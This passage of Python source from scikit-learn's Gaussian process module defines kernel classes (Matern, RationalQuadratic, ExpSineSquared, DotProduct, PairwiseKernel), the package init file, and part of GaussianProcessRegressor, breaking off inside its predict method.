        The length scale of the kernel. If a float, an isotropic kernel is
        used. If an array, an anisotropic kernel is used where each dimension
        of l defines the length-scale of the respective feature dimension.

    length_scale_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on length_scale
    """
    def __init__(self, length_scale=1.0, length_scale_bounds=(1e-5, 1e5)):
        self.length_scale = length_scale
        self.length_scale_bounds = length_scale_bounds

    @property
    def anisotropic(self):
        return np.iterable(self.length_scale) and len(self.length_scale) > 1

    @property
    def hyperparameter_length_scale(self):
        if self.anisotropic:
            return Hyperparameter("length_scale", "numeric",
                                  self.length_scale_bounds,
                                  len(self.length_scale))
        return Hyperparameter(
            "length_scale", "numeric", self.length_scale_bounds)

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined. Only supported when Y is None.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        X = np.atleast_2d(X)
        length_scale = _check_length_scale(X, self.length_scale)
        if Y is None:
            dists = pdist(X / length_scale, metric='sqeuclidean')
            K = np.exp(-.5 * dists)
            # convert from upper-triangular matrix to square matrix
            K = squareform(K)
            np.fill_diagonal(K, 1)
        else:
            if eval_gradient:
                raise ValueError(
                    "Gradient can only be evaluated when Y is None.")
            dists = cdist(X / length_scale, Y / length_scale,
                          metric='sqeuclidean')
            K = np.exp(-.5 * dists)

        if eval_gradient:
            if self.hyperparameter_length_scale.fixed:
                # Hyperparameter l kept fixed
                return K, np.empty((X.shape[0], X.shape[0], 0))
            elif not self.anisotropic or length_scale.shape[0] == 1:
                K_gradient = \
                    (K * squareform(dists))[:, :, np.newaxis]
                return K, K_gradient
            elif self.anisotropic:
                # We need to recompute the pairwise dimension-wise distances
                K_gradient = (X[:, np.newaxis, :] - X[np.newaxis, :, :]) ** 2 \
                    / (length_scale ** 2)
                K_gradient *= K[..., np.newaxis]
                return K, K_gradient
        else:
            return K

    def __repr__(self):
        if self.anisotropic:
            return "{0}(length_scale=[{1}])".format(
                self.__class__.__name__, ", ".join(map("{0:.3g}".format,
                                                   self.length_scale)))
        else:  # isotropic
            return "{0}(length_scale={1:.3g})".format(
                self.__class__.__name__, self.length_scale)


class Matern(RBF):
    """ Matern kernel.

    The class of Matern kernels is a generalization of the RBF and the
    absolute exponential kernel parameterized by an additional parameter
    nu. The smaller nu, the less smooth the approximated function is.
    For nu=inf, the kernel becomes equivalent to the RBF kernel and for nu=0.5
    to the absolute exponential kernel. Important intermediate values are
    nu=1.5 (once differentiable functions) and nu=2.5 (twice differentiable
    functions).

    See Rasmussen and Williams 2006, pp84 for details regarding the
    different variants of the Matern kernel.

    Parameters
    -----------
    length_scale : float or array with shape (n_features,), default: 1.0
        The length scale of the kernel. If a float, an isotropic kernel is
        used. If an array, an anisotropic kernel is used where each dimension
        of l defines the length-scale of the respective feature dimension.

    length_scale_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on length_scale

    nu: float, default: 1.5
        The parameter nu controlling the smoothness of the learned function.
        The smaller nu, the less smooth the approximated function is.
        For nu=inf, the kernel becomes equivalent to the RBF kernel and for
        nu=0.5 to the absolute exponential kernel. Important intermediate
        values are nu=1.5 (once differentiable functions) and nu=2.5
        (twice differentiable functions). Note that values of nu not in
        [0.5, 1.5, 2.5, inf] incur a considerably higher computational cost
        (appr. 10 times higher) since they require to evaluate the modified
        Bessel function. Furthermore, in contrast to l, nu is kept fixed to
        its initial value and not optimized.
    """
    def __init__(self, length_scale=1.0, length_scale_bounds=(1e-5, 1e5),
                 nu=1.5):
        super(Matern, self).__init__(length_scale, length_scale_bounds)
        self.nu = nu

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined. Only supported when Y is None.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        X = np.atleast_2d(X)
        length_scale = _check_length_scale(X, self.length_scale)
        if Y is None:
            dists = pdist(X / length_scale, metric='euclidean')
        else:
            if eval_gradient:
                raise ValueError(
                    "Gradient can only be evaluated when Y is None.")
            dists = cdist(X / length_scale, Y / length_scale,
                          metric='euclidean')

        if self.nu == 0.5:
            K = np.exp(-dists)
        elif self.nu == 1.5:
            K = dists * math.sqrt(3)
            K = (1. + K) * np.exp(-K)
        elif self.nu == 2.5:
            K = dists * math.sqrt(5)
            K = (1. + K + K ** 2 / 3.0) * np.exp(-K)
        else:  # general case; expensive to evaluate
            K = dists
            K[K == 0.0] += np.finfo(float).eps  # strict zeros result in nan
            tmp = (math.sqrt(2 * self.nu) * K)
            K.fill((2 ** (1. - self.nu)) / gamma(self.nu))
            K *= tmp ** self.nu
            K *= kv(self.nu, tmp)

        if Y is None:
            # convert from upper-triangular matrix to square matrix
            K = squareform(K)
            np.fill_diagonal(K, 1)

        if eval_gradient:
            if self.hyperparameter_length_scale.fixed:
                # Hyperparameter l kept fixed
                K_gradient = np.empty((X.shape[0], X.shape[0], 0))
                return K, K_gradient

            # We need to recompute the pairwise dimension-wise distances
            if self.anisotropic:
                D = (X[:, np.newaxis, :] - X[np.newaxis, :, :])**2 \
                    / (length_scale ** 2)
            else:
                D = squareform(dists**2)[:, :, np.newaxis]

            if self.nu == 0.5:
                K_gradient = K[..., np.newaxis] * D \
                    / np.sqrt(D.sum(2))[:, :, np.newaxis]
                K_gradient[~np.isfinite(K_gradient)] = 0
            elif self.nu == 1.5:
                K_gradient = \
                    3 * D * np.exp(-np.sqrt(3 * D.sum(-1)))[..., np.newaxis]
            elif self.nu == 2.5:
                tmp = np.sqrt(5 * D.sum(-1))[..., np.newaxis]
                K_gradient = 5.0 / 3.0 * D * (tmp + 1) * np.exp(-tmp)
            else:
                # approximate gradient numerically
                def f(theta):  # helper function
                    return self.clone_with_theta(theta)(X, Y)
                return K, _approx_fprime(self.theta, f, 1e-10)

            if not self.anisotropic:
                return K, K_gradient[:, :].sum(-1)[:, :, np.newaxis]
            else:
                return K, K_gradient
        else:
            return K

    def __repr__(self):
        if self.anisotropic:
            return "{0}(length_scale=[{1}], nu={2:.3g})".format(
                self.__class__.__name__,
                ", ".join(map("{0:.3g}".format, self.length_scale)),
                self.nu)
        else:  # isotropic
            return "{0}(length_scale={1:.3g}, nu={2:.3g})".format(
                self.__class__.__name__, self.length_scale, self.nu)


class RationalQuadratic(StationaryKernelMixin, NormalizedKernelMixin, Kernel):
    """Rational Quadratic kernel.

    The RationalQuadratic kernel can be seen as a scale mixture (an infinite
    sum) of RBF kernels with different characteristic length-scales. It is
    parameterized by a length-scale parameter length_scale>0 and a scale
    mixture parameter alpha>0. Only the isotropic variant where length_scale is
    a scalar is supported at the moment. The kernel given by:

    k(x_i, x_j) = (1 + d(x_i, x_j)^2 / (2*alpha * length_scale^2))^-alpha

    Parameters
    ----------
    length_scale : float > 0, default: 1.0
        The length scale of the kernel.

    alpha : float > 0, default: 1.0
        Scale mixture parameter

    length_scale_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on length_scale

    alpha_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on alpha
    """
    def __init__(self, length_scale=1.0, alpha=1.0,
                 length_scale_bounds=(1e-5, 1e5), alpha_bounds=(1e-5, 1e5)):
        self.length_scale = length_scale
        self.alpha = alpha
        self.length_scale_bounds = length_scale_bounds
        self.alpha_bounds = alpha_bounds

    @property
    def hyperparameter_length_scale(self):
        return Hyperparameter(
            "length_scale", "numeric", self.length_scale_bounds)

    @property
    def hyperparameter_alpha(self):
        return Hyperparameter("alpha", "numeric", self.alpha_bounds)

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined. Only supported when Y is None.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        X = np.atleast_2d(X)
        if Y is None:
            dists = squareform(pdist(X, metric='sqeuclidean'))
            tmp = dists / (2 * self.alpha * self.length_scale ** 2)
            base = (1 + tmp)
            K = base ** -self.alpha
            np.fill_diagonal(K, 1)
        else:
            if eval_gradient:
                raise ValueError(
                    "Gradient can only be evaluated when Y is None.")
            dists = cdist(X, Y, metric='sqeuclidean')
            K = (1 + dists / (2 * self.alpha * self.length_scale ** 2)) \
                ** -self.alpha

        if eval_gradient:
            # gradient with respect to length_scale
            if not self.hyperparameter_length_scale.fixed:
                length_scale_gradient = \
                    dists * K / (self.length_scale ** 2 * base)
                length_scale_gradient = length_scale_gradient[:, :, np.newaxis]
            else:  # l is kept fixed
                length_scale_gradient = np.empty((K.shape[0], K.shape[1], 0))

            # gradient with respect to alpha
            if not self.hyperparameter_alpha.fixed:
                alpha_gradient = \
                    K * (-self.alpha * np.log(base)
                         + dists / (2 * self.length_scale ** 2 * base))
                alpha_gradient = alpha_gradient[:, :, np.newaxis]
            else:  # alpha is kept fixed
                alpha_gradient = np.empty((K.shape[0], K.shape[1], 0))

            return K, np.dstack((alpha_gradient, length_scale_gradient))
        else:
            return K

    def __repr__(self):
        return "{0}(alpha={1:.3g}, length_scale={2:.3g})".format(
            self.__class__.__name__, self.alpha, self.length_scale)


class ExpSineSquared(StationaryKernelMixin, NormalizedKernelMixin, Kernel):
    """Exp-Sine-Squared kernel.

    The ExpSineSquared kernel allows modeling periodic functions. It is
    parameterized by a length-scale parameter length_scale>0 and a periodicity
    parameter periodicity>0. Only the isotropic variant where l is a scalar is
    supported at the moment. The kernel given by:

    k(x_i, x_j) = exp(-2 sin(\pi / periodicity * d(x_i, x_j)) / length_scale)^2

    Parameters
    ----------
    length_scale : float > 0, default: 1.0
        The length scale of the kernel.

    periodicity : float > 0, default: 1.0
        The periodicity of the kernel.

    length_scale_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on length_scale

    periodicity_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on periodicity
    """
    def __init__(self, length_scale=1.0, periodicity=1.0,
                 length_scale_bounds=(1e-5, 1e5),
                 periodicity_bounds=(1e-5, 1e5)):
        self.length_scale = length_scale
        self.periodicity = periodicity
        self.length_scale_bounds = length_scale_bounds
        self.periodicity_bounds = periodicity_bounds

    @property
    def hyperparameter_length_scale(self):
        return Hyperparameter(
            "length_scale", "numeric", self.length_scale_bounds)

    @property
    def hyperparameter_periodicity(self):
        return Hyperparameter(
            "periodicity", "numeric", self.periodicity_bounds)

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined. Only supported when Y is None.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        X = np.atleast_2d(X)
        if Y is None:
            dists = squareform(pdist(X, metric='euclidean'))
            arg = np.pi * dists / self.periodicity
            sin_of_arg = np.sin(arg)
            K = np.exp(- 2 * (sin_of_arg / self.length_scale) ** 2)
        else:
            if eval_gradient:
                raise ValueError(
                    "Gradient can only be evaluated when Y is None.")
            dists = cdist(X, Y, metric='euclidean')
            K = np.exp(- 2 * (np.sin(np.pi / self.periodicity * dists)
                              / self.length_scale) ** 2)

        if eval_gradient:
            cos_of_arg = np.cos(arg)
            # gradient with respect to length_scale
            if not self.hyperparameter_length_scale.fixed:
                length_scale_gradient = \
                    4 / self.length_scale**2 * sin_of_arg**2 * K
                length_scale_gradient = length_scale_gradient[:, :, np.newaxis]
            else:  # length_scale is kept fixed
                length_scale_gradient = np.empty((K.shape[0], K.shape[1], 0))
            # gradient with respect to p
            if not self.hyperparameter_periodicity.fixed:
                periodicity_gradient = \
                    4 * arg / self.length_scale**2 * cos_of_arg \
                    * sin_of_arg * K
                periodicity_gradient = periodicity_gradient[:, :, np.newaxis]
            else:  # p is kept fixed
                periodicity_gradient = np.empty((K.shape[0], K.shape[1], 0))

            return K, np.dstack((length_scale_gradient, periodicity_gradient))
        else:
            return K

    def __repr__(self):
        return "{0}(length_scale={1:.3g}, periodicity={2:.3g})".format(
            self.__class__.__name__, self.length_scale, self.periodicity)


class DotProduct(Kernel):
    """Dot-Product kernel.

    The DotProduct kernel is non-stationary and can be obtained from linear
    regression by putting N(0, 1) priors on the coefficients of x_d (d = 1, . .
    . , D) and a prior of N(0, \sigma_0^2) on the bias. The DotProduct kernel
    is invariant to a rotation of the coordinates about the origin, but not
    translations. It is parameterized by a parameter sigma_0^2. For
    sigma_0^2 =0, the kernel is called the homogeneous linear kernel, otherwise
    it is inhomogeneous. The kernel is given by

    k(x_i, x_j) = sigma_0 ^ 2 + x_i \cdot x_j

    The DotProduct kernel is commonly combined with exponentiation.

    Parameters
    ----------
    sigma_0 : float >= 0, default: 1.0
        Parameter controlling the inhomogenity of the kernel. If sigma_0=0,
        the kernel is homogenous.

    sigma_0_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on l
    """

    def __init__(self, sigma_0=1.0, sigma_0_bounds=(1e-5, 1e5)):
        self.sigma_0 = sigma_0
        self.sigma_0_bounds = sigma_0_bounds

    @property
    def hyperparameter_sigma_0(self):
        return Hyperparameter("sigma_0", "numeric", self.sigma_0_bounds)

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined. Only supported when Y is None.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        X = np.atleast_2d(X)
        if Y is None:
            K = np.inner(X, X) + self.sigma_0 ** 2
        else:
            if eval_gradient:
                raise ValueError(
                    "Gradient can only be evaluated when Y is None.")
            K = np.inner(X, Y) + self.sigma_0 ** 2

        if eval_gradient:
            if not self.hyperparameter_sigma_0.fixed:
                K_gradient = np.empty((K.shape[0], K.shape[1], 1))
                K_gradient[..., 0] = 2 * self.sigma_0 ** 2
                return K, K_gradient
            else:
                return K, np.empty((X.shape[0], X.shape[0], 0))
        else:
            return K

    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X,)
            Diagonal of kernel k(X, X)
        """
        return np.einsum('ij,ij->i', X, X) + self.sigma_0 ** 2

    def is_stationary(self):
        """Returns whether the kernel is stationary. """
        return False

    def __repr__(self):
        return "{0}(sigma_0={1:.3g})".format(
            self.__class__.__name__, self.sigma_0)


# adapted from scipy/optimize/optimize.py for functions with 2d output
def _approx_fprime(xk, f, epsilon, args=()):
    f0 = f(*((xk,) + args))
    grad = np.zeros((f0.shape[0], f0.shape[1], len(xk)), float)
    ei = np.zeros((len(xk), ), float)
    for k in range(len(xk)):
        ei[k] = 1.0
        d = epsilon * ei
        grad[:, :, k] = (f(*((xk + d,) + args)) - f0) / d[k]
        ei[k] = 0.0
    return grad


class PairwiseKernel(Kernel):
    """Wrapper for kernels in sklearn.metrics.pairwise.

    A thin wrapper around the functionality of the kernels in
    sklearn.metrics.pairwise.

    Note: Evaluation of eval_gradient is not analytic but numeric and all
          kernels support only isotropic distances. The parameter gamma is
          considered to be a hyperparameter and may be optimized. The other
          kernel parameters are set directly at initialization and are kept
          fixed.

    Parameters
    ----------
    gamma: float >= 0, default: 1.0
        Parameter gamma of the pairwise kernel specified by metric

    gamma_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on gamma

    metric : string, or callable, default: "linear"
        The metric to use when calculating kernel between instances in a
        feature array. If metric is a string, it must be one of the metrics
        in pairwise.PAIRWISE_KERNEL_FUNCTIONS.
        If metric is "precomputed", X is assumed to be a kernel matrix.
        Alternatively, if metric is a callable function, it is called on each
        pair of instances (rows) and the resulting value recorded. The callable
        should take two arrays from X as input and return a value indicating
        the distance between them.

    pairwise_kernels_kwargs : dict, default: None
        All entries of this dict (if any) are passed as keyword arguments to
        the pairwise kernel function.
    """

    def __init__(self, gamma=1.0, gamma_bounds=(1e-5, 1e5), metric="linear",
                 pairwise_kernels_kwargs=None):
        self.gamma = gamma
        self.gamma_bounds = gamma_bounds
        self.metric = metric
        self.pairwise_kernels_kwargs = pairwise_kernels_kwargs

    @property
    def hyperparameter_gamma(self):
        return Hyperparameter("gamma", "numeric", self.gamma_bounds)

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined. Only supported when Y is None.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        pairwise_kernels_kwargs = self.pairwise_kernels_kwargs
        if self.pairwise_kernels_kwargs is None:
            pairwise_kernels_kwargs = {}

        X = np.atleast_2d(X)
        K = pairwise_kernels(X, Y, metric=self.metric, gamma=self.gamma,
                             filter_params=True,
                             **pairwise_kernels_kwargs)
        if eval_gradient:
            if self.hyperparameter_gamma.fixed:
                return K, np.empty((X.shape[0], X.shape[0], 0))
            else:
                # approximate gradient numerically
                def f(gamma):  # helper function
                    return pairwise_kernels(
                        X, Y, metric=self.metric, gamma=np.exp(gamma),
                        filter_params=True, **pairwise_kernels_kwargs)
                return K, _approx_fprime(self.theta, f, 1e-10)
        else:
            return K

    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X,)
            Diagonal of kernel k(X, X)
        """
        # We have to fall back to slow way of computing diagonal
        return np.apply_along_axis(self, 1, X)[:, 0]

    def is_stationary(self):
        """Returns whether the kernel is stationary. """
        return self.metric in ["rbf"]

    def __repr__(self):
        return "{0}(gamma={1}, metric={2})".format(
            self.__class__.__name__, self.gamma, self.metric)






# -*- coding: utf-8 -*-

# Author: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#         Vincent Dubourg <vincent.dubourg@gmail.com>
#         (mostly translation, see implementation details)
# License: BSD 3 clause

"""
The :mod:`sklearn.gaussian_process` module implements Gaussian Process
based regression and classification.
"""

from .gpr import GaussianProcessRegressor
from .gpc import GaussianProcessClassifier
from . import kernels

from .gaussian_process import GaussianProcess
from . import correlation_models
from . import regression_models

__all__ = ['GaussianProcess', 'correlation_models', 'regression_models',
           'GaussianProcessRegressor', 'GaussianProcessClassifier',
           'kernels']






"""Gaussian processes regression. """

# Authors: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#
# License: BSD 3 clause

import warnings
from operator import itemgetter

import numpy as np
from scipy.linalg import cholesky, cho_solve, solve_triangular
from scipy.optimize import fmin_l_bfgs_b

from sklearn.base import BaseEstimator, RegressorMixin, clone
from sklearn.gaussian_process.kernels import RBF, ConstantKernel as C
from sklearn.utils import check_random_state
from sklearn.utils.validation import check_X_y, check_array


class GaussianProcessRegressor(BaseEstimator, RegressorMixin):
    """Gaussian process regression (GPR).

    The implementation is based on Algorithm 2.1 of Gaussian Processes
    for Machine Learning (GPML) by Rasmussen and Williams.

    In addition to standard sklearn estimator API, GaussianProcessRegressor:

       * allows prediction without prior fitting (based on the GP prior)
       * provides an additional method sample_y(X), which evaluates samples
         drawn from the GPR (prior or posterior) at given inputs
       * exposes a method log_marginal_likelihood(theta), which can be used
         externally for other ways of selecting hyperparameters, e.g., via
         Markov chain Monte Carlo.

    Read more in the :ref:`User Guide <gaussian_process>`.

    Parameters
    ----------
    kernel : kernel object
        The kernel specifying the covariance function of the GP. If None is
        passed, the kernel "1.0 * RBF(1.0)" is used as default. Note that
        the kernel's hyperparameters are optimized during fitting.

    alpha : float or array-like, optional (default: 1e-10)
        Value added to the diagonal of the kernel matrix during fitting.
        Larger values correspond to increased noise level in the observations
        and reduce potential numerical issue during fitting. If an array is
        passed, it must have the same number of entries as the data used for
        fitting and is used as datapoint-dependent noise level. Note that this
        is equivalent to adding a WhiteKernel with c=alpha. Allowing to specify
        the noise level directly as a parameter is mainly for convenience and
        for consistency with Ridge.

    optimizer : string or callable, optional (default: "fmin_l_bfgs_b")
        Can either be one of the internally supported optimizers for optimizing
        the kernel's parameters, specified by a string, or an externally
        defined optimizer passed as a callable. If a callable is passed, it
        must have the signature::

            def optimizer(obj_func, initial_theta, bounds):
                # * 'obj_func' is the objective function to be maximized, which
                #   takes the hyperparameters theta as parameter and an
                #   optional flag eval_gradient, which determines if the
                #   gradient is returned additionally to the function value
                # * 'initial_theta': the initial value for theta, which can be
                #   used by local optimizers
                # * 'bounds': the bounds on the values of theta
                ....
                # Returned are the best found hyperparameters theta and
                # the corresponding value of the target function.
                return theta_opt, func_min

        Per default, the 'fmin_l_bfgs_b' algorithm from scipy.optimize
        is used. If None is passed, the kernel's parameters are kept fixed.
        Available internal optimizers are::

            'fmin_l_bfgs_b'

    n_restarts_optimizer: int, optional (default: 0)
        The number of restarts of the optimizer for finding the kernel's
        parameters which maximize the log-marginal likelihood. The first run
        of the optimizer is performed from the kernel's initial parameters,
        the remaining ones (if any) from thetas sampled log-uniform randomly
        from the space of allowed theta-values. If greater than 0, all bounds
        must be finite. Note that n_restarts_optimizer == 0 implies that one
        run is performed.

    normalize_y: boolean, optional (default: False)
        Whether the target values y are normalized, i.e., the mean of the
        observed target values become zero. This parameter should be set to
        True if the target values' mean is expected to differ considerable from
        zero. When enabled, the normalization effectively modifies the GP's
        prior based on the data, which contradicts the likelihood principle;
        normalization is thus disabled per default.

    copy_X_train : bool, optional (default: True)
        If True, a persistent copy of the training data is stored in the
        object. Otherwise, just a reference to the training data is stored,
        which might cause predictions to change if the data is modified
        externally.

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    Attributes
    ----------
    X_train_ : array-like, shape = (n_samples, n_features)
        Feature values in training data (also required for prediction)

    y_train_: array-like, shape = (n_samples, [n_output_dims])
        Target values in training data (also required for prediction)

    kernel_: kernel object
        The kernel used for prediction. The structure of the kernel is the
        same as the one passed as parameter but with optimized hyperparameters

    L_: array-like, shape = (n_samples, n_samples)
        Lower-triangular Cholesky decomposition of the kernel in ``X_train_``

    alpha_: array-like, shape = (n_samples,)
        Dual coefficients of training data points in kernel space

    log_marginal_likelihood_value_: float
        The log-marginal-likelihood of ``self.kernel_.theta``
    """
    def __init__(self, kernel=None, alpha=1e-10,
                 optimizer="fmin_l_bfgs_b", n_restarts_optimizer=0,
                 normalize_y=False, copy_X_train=True, random_state=None):
        self.kernel = kernel
        self.alpha = alpha
        self.optimizer = optimizer
        self.n_restarts_optimizer = n_restarts_optimizer
        self.normalize_y = normalize_y
        self.copy_X_train = copy_X_train
        self.random_state = random_state

    def fit(self, X, y):
        """Fit Gaussian process regression model

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)
            Training data

        y : array-like, shape = (n_samples, [n_output_dims])
            Target values

        Returns
        -------
        self : returns an instance of self.
        """
        if self.kernel is None:  # Use an RBF kernel as default
            self.kernel_ = C(1.0, constant_value_bounds="fixed") \
                * RBF(1.0, length_scale_bounds="fixed")
        else:
            self.kernel_ = clone(self.kernel)

        self.rng = check_random_state(self.random_state)

        X, y = check_X_y(X, y, multi_output=True, y_numeric=True)

        # Normalize target value
        if self.normalize_y:
            self.y_train_mean = np.mean(y, axis=0)
            # demean y
            y = y - self.y_train_mean
        else:
            self.y_train_mean = np.zeros(1)

        if np.iterable(self.alpha) \
           and self.alpha.shape[0] != y.shape[0]:
            if self.alpha.shape[0] == 1:
                self.alpha = self.alpha[0]
            else:
                raise ValueError("alpha must be a scalar or an array"
                                 " with same number of entries as y.(%d != %d)"
                                 % (self.alpha.shape[0], y.shape[0]))

        self.X_train_ = np.copy(X) if self.copy_X_train else X
        self.y_train_ = np.copy(y) if self.copy_X_train else y

        if self.optimizer is not None and self.kernel_.n_dims > 0:
            # Choose hyperparameters based on maximizing the log-marginal
            # likelihood (potentially starting from several initial values)
            def obj_func(theta, eval_gradient=True):
                if eval_gradient:
                    lml, grad = self.log_marginal_likelihood(
                        theta, eval_gradient=True)
                    return -lml, -grad
                else:
                    return -self.log_marginal_likelihood(theta)

            # First optimize starting from theta specified in kernel
            optima = [(self._constrained_optimization(obj_func,
                                                      self.kernel_.theta,
                                                      self.kernel_.bounds))]

            # Additional runs are performed from log-uniform chosen initial
            # theta
            if self.n_restarts_optimizer > 0:
                if not np.isfinite(self.kernel_.bounds).all():
                    raise ValueError(
                        "Multiple optimizer restarts (n_restarts_optimizer>0) "
                        "requires that all bounds are finite.")
                bounds = self.kernel_.bounds
                for iteration in range(self.n_restarts_optimizer):
                    theta_initial = \
                        self.rng.uniform(bounds[:, 0], bounds[:, 1])
                    optima.append(
                        self._constrained_optimization(obj_func, theta_initial,
                                                       bounds))
            # Select result from run with minimal (negative) log-marginal
            # likelihood
            lml_values = list(map(itemgetter(1), optima))
            self.kernel_.theta = optima[np.argmin(lml_values)][0]
            self.log_marginal_likelihood_value_ = -np.min(lml_values)
        else:
            self.log_marginal_likelihood_value_ = \
                self.log_marginal_likelihood(self.kernel_.theta)

        # Precompute quantities required for predictions which are independent
        # of actual query points
        K = self.kernel_(self.X_train_)
        K[np.diag_indices_from(K)] += self.alpha
        self.L_ = cholesky(K, lower=True)  # Line 2
        self.alpha_ = cho_solve((self.L_, True), self.y_train_)  # Line 3

        return self

    def predict(self, X, return_std=False, return_cov=False):
        """Predict using the Gaussian process regression model

        We can also predict based on an unfitted model by using the GP prior.
        In addition to the mean of the predictive distribution, also its
        standard deviation (return_std=True) or covariance (return_cov=True).
        Note that at most one of the two can be requested.

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)
            Query points where the GP is evaluated

        return_std : bool, default: False
            If True, the standard-deviation of the predictive distribution at
            the query points is returned along with the mean.

        return_cov : bool, default: False
            If True, the covariance of the joint predictive distribution at
            the query points is returned along with the mean

        Returns
        -------
        y_mean : array, shape = (n_samples, [n_output_dims])
            Mean of predictive distribution a query points

        y_std : array, shape = (n_samples,), optional
            Standard deviation of predictive distribution at query points.
            Only returned when return_std is True.

        y_cov : array, shape = (n_samples, n_samples), optional
            Covariance of joint predictive distribution a query points.
            Only returned when return_cov is True.
        """
        if return_std and return_cov:
            raise RuntimeError(
                "Not returning standard deviation of predictions when "
                "returning full covariance.")

        X = check_array(X)

        if not hasattr(self, "X_train_"):  # Unfitted;predict based on GP prior
            y_mean = np.zeros(X.shape[0])
            if return_cov:
                y_cov = self.kernel(X)
                return y_mean, y_cov
            elif return_std:
                y_var = self.kernel.diag(X)
                return y_mean, np.sqrt(y_var)
            else:
                return y_mean
        else:  # Predict based on GP posterior
            K_trans = self.kernel_(X, self.X_train_)
